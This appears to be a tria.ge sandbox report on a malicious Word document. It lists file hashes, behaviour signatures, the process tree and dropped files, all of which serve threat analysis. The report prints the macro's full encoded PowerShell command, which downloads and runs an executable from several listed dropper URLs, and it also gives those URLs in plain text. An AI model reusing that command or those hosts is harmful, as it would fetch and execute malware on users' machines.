Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    143s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 06:45

General

  • Target

    0fe8024219742a269712cfa35bcf3902_JaffaCakes118.doc

  • Size

    182KB

  • MD5

    0fe8024219742a269712cfa35bcf3902

  • SHA1

    ad2a753062358ece641c1449c65a6fa49e68e5d2

  • SHA256

    2caf05fb34bd7d621953ca25eb813c6ed8bcbda224727f82e072e3417ab2fa65

  • SHA512

    915c6745fa0bd520784c472612b51056ab8ca6a0e9c134f5a23ebd12f89c31ce645d21e0019ce4043ea5b53a5bf7880430c5383b77627186aa173246b50e9bf2

  • SSDEEP

    3072:9Ny2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUzasiv8Ok7X:9Ny2k4PF7tGiL3HJk9rD7bzasiv8RD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fe8024219742a269712cfa35bcf3902_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3396
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3976
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3952

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A65F3E66.wmf

      Filesize

      444B

      MD5

      ae0971d01005d95d8ad742e04891afae

      SHA1

      4c0d9b981a356d04980812163ef7e462b245ad8c

      SHA256

      0b6da1fff7b7c6a3bfbac7a9022846d17f978cc12f5974337e386da1f5690269

      SHA512

      5180258f6db3ebb73880b07620068c73d64b20b1baaac3eb59cdee4d91b653fdfa70973930bb2400ee6d41993d2bf0496f06f7ba0b9f6991a069d981fce9ba9a

    • C:\Users\Admin\AppData\Local\Temp\TCD77B3.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wt3rtcow.w44.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3396-10-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-17-0x00007FFEC5C10000-0x00007FFEC5C20000-memory.dmp

      Filesize

      64KB

    • memory/3396-5-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-6-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-0-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-9-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-8-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-7-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-11-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-13-0x00007FFEC5C10000-0x00007FFEC5C20000-memory.dmp

      Filesize

      64KB

    • memory/3396-12-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-15-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-16-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-4-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-18-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-14-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-3-0x00007FFF0800D000-0x00007FFF0800E000-memory.dmp

      Filesize

      4KB

    • memory/3396-577-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-1-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-2-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-548-0x00007FFF07F70000-0x00007FFF08165000-memory.dmp

      Filesize

      2.0MB

    • memory/3396-574-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-575-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-573-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3396-576-0x00007FFEC7FF0000-0x00007FFEC8000000-memory.dmp

      Filesize

      64KB

    • memory/3952-50-0x0000025367E80000-0x0000025367EA2000-memory.dmp

      Filesize

      136KB